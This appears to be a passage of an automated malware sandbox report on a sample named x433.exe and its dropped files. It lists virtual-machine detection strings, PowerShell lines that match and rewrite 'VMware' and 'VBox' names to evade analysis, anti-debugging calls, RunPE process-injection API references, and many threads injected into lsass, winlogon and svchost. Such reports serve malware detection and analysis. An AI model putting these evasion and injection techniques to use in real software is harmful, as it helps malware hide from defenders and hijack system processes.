Source: Microsoft-Windows-Partition%4Diagnostic.evtx.16.dr	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.16.dr	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: lsass.exe, 00000007.00000002.2960383043.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744038298.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000000.1747028955.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2954846604.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000000.1781345340.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2948010267.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2949153556.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.1782563333.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000000.1786857019.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2962792700.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.1798422088.000001D55862B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lsass.exe, 00000007.00000002.2966297830.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: svchost.exe, 00000021.00000000.1866482937.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: lsass.exe, 00000007.00000003.2270451721.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.16.dr	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: Microsoft-Windows-PowerShell%4Operational.evtx.16.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: svchost.exe, 00000021.00000000.1866482937.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000010.00000002.2956365705.000001D558643000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmcitpA
Source: svchost.exe, 00000008.00000000.1747138035.000002A66065D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000017.00000000.1828228212.0000023FD3802000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000007.00000002.2966297830.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: Microsoft-Windows-PowerShell%4Operational.evtx.16.dr	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: dwm.exe, 00000009.00000002.3038914037.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Windows\System32\dllhost.exe

API call chain: ExitProcess graph end node

graph_5-8180

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Anti Debugging

Source: C:\Users\user\AppData\Local\Temp\x4host.exe

Code function: 2_2_00007FFD9B887801 CheckRemoteDebuggerPresent,

2_2_00007FFD9B887801

Source: C:\Users\user\AppData\Local\Temp\x4host.exe

Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Code function: 1_2_007A1361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_007A1361

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00470594 mov eax, dword ptr fs:[00000030h]	1_2_00470594
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_00761130 mov eax, dword ptr fs:[00000030h]	1_2_00761130
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_007A3F3D mov eax, dword ptr fs:[00000030h]	1_2_007A3F3D

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Code function: 1_2_00401868 GetProcessHeap,HeapAlloc,StrCpyW,StrCatW,StrCatW,StrCatW,StrCatW,StrCatW,StrCatW,

1_2_00401868

Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_007A1361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_007A1361
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Code function: 1_2_007A4C7B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_007A4C7B
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_000002D8B0A684D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000002D8B0A684D4
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_000002D8B0A6DBF4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000002D8B0A6DBF4
Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_000002D8B0A68170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000002D8B0A68170
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC64DBF4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000225DC64DBF4
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC6484D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00000225DC6484D4
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC648170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000225DC648170
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AEDBF4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00000202C0AEDBF4
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AE8170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00000202C0AE8170
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AE84D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00000202C0AE84D4
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_000002A661308170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_000002A661308170
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_000002A66130DBF4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_000002A66130DBF4
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_000002A6613084D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_000002A6613084D4
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE26DBF4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000002BAAE26DBF4
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE2684D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_000002BAAE2684D4
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE268170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000002BAAE268170
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000026A879C84D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0000026A879C84D4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000026A879CDBF4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0000026A879CDBF4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000026A879C8170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0000026A879C8170
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000179537A8170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00000179537A8170
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000179537A84D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00000179537A84D4
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000179537ADBF4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00000179537ADBF4

Source: C:\Users\user\Desktop\x433.exe

Memory allocated: page read and write | page guard

.NET source code contains process injector

HIPS / PFW / Operating System Protection Evasion

Source: 1.2.x4Shellcode.exe.4040b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 1.0.x4Shellcode.exe.4040b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 3.2.powershell.exe.21ffc670000.15.raw.unpack, RunPE.cs	.Net Code: Run contains injection code

.NET source code references suspicious native API functions

Source: 1.2.x4Shellcode.exe.4040b0.1.raw.unpack, Unhook.cs	Reference to suspicious API methods: VirtualProtect((IntPtr)((long)moduleHandle + num5), (IntPtr)num6, 64u, out var oldProtect)
Source: 1.2.x4Shellcode.exe.4040b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: OpenProcess(128, inheritHandle: false, parentProcessId)
Source: 1.2.x4Shellcode.exe.4040b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtAllocateVirtualMemory(process, ref address, IntPtr.Zero, ref size2, 12288u, 64u)
Source: 1.2.x4Shellcode.exe.4040b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtWriteVirtualMemory(process, address, payload, num3, IntPtr.Zero)
Source: 1.2.x4Shellcode.exe.4040b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtSetContextThread(thread, intPtr5)

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dllhost.exe

Code function: 5_2_0000000140002434 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,OpenProcess,TerminateProcess,

5_2_0000000140002434

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC612A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AE232A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87992A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 53772A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D532A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B392A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBFD2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 59042A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A9E72A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 73162A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4E862A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 473C2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F9D2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 83BC2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D3F72A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A4152A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: BDF32A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C0262A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C9F32A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 644B2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7B2A2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4F62A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2AB42A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4ADB2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\spoolsv.exe EIP: 1992A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 25DA2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F5352A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F0D62A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: FFB2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C2572A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8BCE2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 66902A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13EF2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D572A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 69B42A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CC742A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5DA72A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 199D2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3892A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3B82A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 40E42A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6532A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27BC2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B152A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 621A2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F482A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B4B2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 683D2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7DB2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E262A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6C5E2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D5932A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC652A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78742A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 33B42A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D0A2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB4C2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A642A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6CF32A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 641A2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 49352A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 60DA2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5E7B2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A1602A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C4262A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F7C2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E8152A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 52342A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9DA92A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 602E2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 94D52A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F36C2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E6B72A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 801F2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30221C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 71E62A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3ED21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B9BA2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E3382A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6DDB2A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6972A8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10121C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AE21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A621C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DF21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9E21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EB21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AA21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FE21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 31021C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BB21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C221C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E621C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24A21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E421C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F421C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F421C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8521C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D021C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8421C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F321C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F321C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14621C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6221C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26421C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E421C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26021C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30221C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5F21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CF21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25F21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8021C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FB21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C321C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C021C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CA21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28721C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BB21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CA21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F521C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EE21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11D21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11721C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10A21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A921C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14221C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13E21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F021C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25B21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EE21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: ED21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12221C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B821C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10221C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F421C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28C21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D021C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FA21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DC21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EF21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23F21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E721C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FA21C3	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FB162A8C	Jump to behavior
